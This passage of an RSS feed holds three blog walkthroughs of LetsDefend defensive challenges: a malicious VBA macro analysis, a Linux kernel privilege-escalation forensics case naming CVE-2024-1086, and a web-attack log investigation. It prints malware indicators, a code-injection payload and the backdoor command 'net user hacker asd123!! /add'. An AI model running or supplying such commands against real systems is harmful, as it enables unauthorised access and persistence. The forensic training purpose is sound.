            <guid isPermaLink="false">https://medium.com/p/1e47454bd230</guid>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 04:50:13 GMT</pubDate>
            <atom:updated>2024-11-22T04:50:13.024Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, I’ll be walking you through an exciting challenge I tackled on LetsDefend, a platform designed to improve cybersecurity skills through hands-on challenges. Today’s challenge revolved around analyzing a <strong>Malicious VBA </strong>from a suspicious document attached to an invoice email. If you’re looking to improve your malware analysis skills, this is a great exercise to dive into.</p><h3>The Challenge</h3><p>The task was to investigate a suspicious document received by an employee. Using <strong>Notepad++</strong>, I safely opened the document to extract VBA Macro strings, then utilized <strong>CyberChef</strong> to decode the obfuscated content. Let’s break down the steps taken to analyze the document and uncover its malicious intent.</p><p>Q1: The document initiates the download of a payload after the execution, can you tell what website is hosting it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*WebVgtFATUQ4zqV3.png" /></figure><p>From the question, we know that an HTTP request is required to download the payload. To analyze this, we can search the code for keywords related to HTTP requests, such as <strong>404</strong>, <strong>200</strong>, <strong>Header</strong>, <strong>Body</strong>, <strong>Status</strong>, <strong>setRequestHeader</strong>, and <strong>Send</strong>.</p><p>The next step is to copy the variable values into <strong>CyberChef</strong> for further decoding and analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*aHZ_1BjlFmrfN1WW.png" /></figure><p>Using the <strong>Magic</strong> feature in CyberChef, we uncover a URL:</p><pre>https://tinyurl[.]com/g2z2gh6f</pre><p>Q2: What is the filename of the payload (include the extension)?<br>We proceed to decode other variables value</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/0*cAJJknxlcupb3dAn.png" /></figure><pre>dropped.exe</pre><p>Q3: What method is it using to establish an HTTP connection between files on the malicious web server?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*0eFokuPZBQs9OtRI.png" /></figure><pre>MSXML2.ServerXMLHTTP</pre><p>Q4: What user-agent string is it using?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/0*YiQhiqZr2Wvyywkh.png" /></figure><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)</pre><p>Q5: What object does the attacker use to be able to read or write text and binary files?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*ctIpAfONFWN0zqiy.png" /></figure><pre>ADODB.Stream</pre><p>Q6: What is the object the attacker uses for WMI execution? Possibly they are using this to hide the suspicious application running in the background.<br>By searching on keyword: Object and by decoding the last function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/0*dGGQ0-MVpHgKq3k0.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/0*-CvUGtrqWUr9WdvZ.png" /></figure><pre>winmgmts:\\.\root\cimv2:Win32_Process</pre><h3>Conclusion</h3><p>This challenge provided hands-on experience in analyzing a <strong>Malicious VBA </strong>to uncover critical details about a phishing attack. By decoding variables and investigating the script, we identified the payload URL, its filename, HTTP connection methods, user-agent, and objects used for file handling and WMI execution. Exercises like this are invaluable for honing skills in malware analysis and incident response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yg1elpJXmYBaXOQf" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e47454bd230" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kernel Exploit- Walkthrough]]></title>
            <link>https://saksham-17.medium.com/kernel-exploit-walkthrough-2598dc449c40?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2598dc449c40</guid>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Thu, 21 Nov 2024 03:05:05 GMT</pubDate>
            <atom:updated>2024-11-21T03:05:05.594Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, we delve into the investigation of a Linux kernel exploit that led to a security breach on a critical transaction processing server. The attack highlights the importance of robust monitoring systems and quick forensic analysis to contain threats. Using artifacts collected by the Unix-like Artifacts Collector (UAC), we meticulously uncover the attacker’s steps, from privilege escalation to data exfiltration.</p><p>Let’s dive into the findings.</p><blockquote><em>What is the name of the key file the intruder downloaded to elevate their privileges after gaining unauthorized access?</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>Let’s start by examining the artifacts provided. The challenge includes data collected by the Unix-like Artifacts Collector (UAC), which gathers various files from the disk image and executes commands to capture live forensic artifacts.</p><p>Revisiting the scenario, the traffic anomaly and the challenge name suggest that the attacker exploited a kernel vulnerability to gain root access and exfiltrate data. Based on this, the investigation began by analyzing the processes recorded when UAC was executed, found under live_response -&gt; process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>Pick any of ps like command output then I found ./exploit (ProcessID 31671) was executed by a1l4m user so this should be the one we are after!</p><pre>exploit</pre><blockquote><em>When was the file used for privilege escalation first submitted on Virus Total?</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>Let’s identify where the binary was executed. The analysis shows it was launched from the /tmp directory, which is highly suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>With this information, navigate to /[root]/tmp to locate the file. Once found, calculate its hash for further investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>Search the calculated hash on VirusTotal. Navigate to the <strong>“History”</strong> section under the <strong>“Details”</strong> tab to find the first submission timestamp of the binary.</p><pre>2024-03-26 16:45:52 UTC</pre><blockquote><em>What is the Process ID (PID) of the operation launched by the attacker?</em></blockquote><pre>31671</pre><blockquote><em>What username was the malicious process running under?</em></blockquote><pre>a1l4m</pre><blockquote><em>What is the Parent Process ID (PPID) associated with the malicious process?</em></blockquote><pre>1686</pre><blockquote><em>What are the operating system and its version on the compromised server? Answer Format:version-os</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>To determine this, navigate to the /live_response/system directory, which stores the results of various system and configuration commands. By reviewing the output of the uname command in this directory, you can find the OS and kernel version of the compromised system.</p><pre>22.04.1-Ubuntu</pre><blockquote><em>What is the kernel version of the compromised system?</em></blockquote><pre>6.5.0-27-generic</pre><blockquote><em>What is the most recent CVE number associated with the vulnerabilities exploited in this attack?</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*JBsHm8Y7uMrCETNG.png" /></figure><p>Returning to VirusTotal, two potential CVEs were identified. The most recent, <strong>CVE-2024–1086</strong>, discovered this year, impacts Linux kernels from versions <strong>3.15 to 6.1.76</strong>, <strong>6.2 to 6.6.15</strong>, and <strong>6.7 to 6.7.3</strong>. This confirms that the compromised system was vulnerable to this exploit.</p><pre>CVE-2024-1086</pre><h3>Summary</h3><p>This investigation revealed a Linux kernel exploit leveraged by an attacker to gain root privileges and exfiltrate data. UAC-collected artifacts helped identify a suspicious process, its location, and the exploit used. Key findings:</p><ul><li><strong>PID:</strong> 31671</li><li><strong>Username:</strong> a1l4m</li><li><strong>Vulnerability:</strong> CVE-2024-1086</li><li><strong>OS:</strong> 22.04.1-Ubuntu</li><li><strong>Kernel:</strong> 6.5.0-27-generic</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BmkQ45_CiuqaMFLk" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2598dc449c40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Investigate Web Attack —  Walkthrough]]></title>
            <link>https://saksham-17.medium.com/investigate-web-attack-walkthrough-3bcd2cbf376c?source=rss-aaa787cf31e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bcd2cbf376c</guid>
            <category><![CDATA[web-attack]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[blueteamlabs]]></category>
            <category><![CDATA[lets-defend]]></category>
            <dc:creator><![CDATA[Saksham Bhattarai]]></dc:creator>
            <pubDate>Mon, 11 Nov 2024 15:08:40 GMT</pubDate>
            <atom:updated>2024-11-11T15:08:40.440Z</atom:updated>
            <content:encoded><![CDATA[<h3>Investigate Web Attack — Walkthrough</h3><p>In this post, I’ll be walking you through an exciting challenge I tackled on <strong>LetsDefend</strong>, a platform designed to improve cybersecurity skills through hands-on challenges. Today’s challenge was centered around investigating a server log that was compromised in a web attack. If you’re looking to improve your skills in incident response, this is a great exercise to dive into.</p><p>You can check out the full challenge on <strong>LetsDefend</strong> <a href="https://app.letsdefend.io/challenge/investigate-web-attack">here</a>.</p><h3>The Challenge</h3><p>The task was to analyze a log from a server that had been attacked and answer a series of questions about the attack techniques used by the attacker. Let’s break down the process and walk through each of the questions step-by-step.</p><h3>Question 1: Which automated scan tool did the attacker use for web reconnaissance?</h3><p>The first question was all about identifying the tool used by the attacker for reconnaissance. A careful look at the log revealed the <strong>User-Agent</strong> field, which contained a reference to <strong>Nikto</strong>.</p><p><strong>Answer: Nikto</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*DgatlBDmrytpNdxD.png" /></figure><h3>Question 2: After web reconnaissance, which technique did the attacker use for directory listing discovery?</h3><p>Next, we needed to identify how the attacker tried to map out the server’s directory structure. The log showed various attempts to access directories. However, all requests returned a <strong>400 status code</strong>, indicating that the directories either didn’t exist or were not accessible.</p><p>With this in mind, the attacker seemed to use a brute force technique to guess directory names.</p><p><strong>Answer: Directory Brute Force</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*PtbfF2Cngh_CP6KX.png" /></figure><h3>Question 3: What was the third attack type after directory listing discovery?</h3><p>After the directory listing, the attacker attempted to submit data to a login form. This was evident from the <strong>POST request</strong> seen in the logs. Although the attacker received a <strong>200 status code</strong> (indicating the request was processed successfully), the response size remained constant, suggesting that the login attempts were unsuccessful.</p><p><strong>Answer: Brute Force</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*LF43eXTuMK4wQffa.png" /></figure><h3>Question 4: Was the third attack successful?</h3><p>Despite the unsuccessful attempts early on (indicated by the consistent response size), the attacker finally saw a <strong>302 status code</strong> in line 12,546, which indicated a redirection. After that, the response size increased significantly, which suggested a successful login.</p><p><strong>Answer: Yes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*jJfiG2-orbpY00M4.png" /></figure><h3>Question 5: What is the name of the fourth attack?</h3><p>The next phase of the attack was tricky for me. I initially thought it might be <strong>Command Injection</strong> because of the “whoami” command that showed up in the logs. However, after doing some research, I realized that this could also be an instance of <strong>Code Injection</strong>.</p><p><strong>Answer: Code Injection</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*-Epl4PtaybLUFa0k.png" /></figure><h3>Question 6: What is the first payload for the fourth attack?</h3><p>We knew from the previous question that <strong>Code Injection</strong> was the attack type. The log contained a specific payload: <strong>whoami</strong>. This is a common payload used in command injection attempts to gather information about the current user.</p><p><strong>Answer: whoami</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*z7jd0ULNkZEMV-Wz.png" /></figure><h3>Question 7: Is there any persistence clue for the victim machine in the log file? If yes, what is the related payload?</h3><p>Finally, we needed to see if there were any clues indicating that the attacker had set up persistence on the compromised machine. After decoding a <strong>Base64-encoded</strong> payload, I found the string:</p><p><strong>%27net%20user%20hacker%20asd123!!%20/add%27</strong></p><p>Decoding this reveals the following command:</p><p><strong>net user hacker asd123!! /add</strong></p><p>This is a command that adds a new user (in this case, “hacker”) to the system with the password “asd123!!”. This is a clear indication that the attacker was attempting to establish a backdoor for future access.</p><p><strong>Answer: %27net%20user%20hacker%20asd123!!%20/add%27</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*DINSfc9M2wmf_ExH.png" /></figure><h3>Conclusion</h3><p>That wraps up the walkthrough for the <strong>LetsDefend</strong> Web Attack investigation challenge. From reconnaissance to brute-forcing login credentials and then exploiting vulnerabilities like code injection and establishing persistence, this attack covered a lot of common techniques used in real-world scenarios.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bcd2cbf376c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>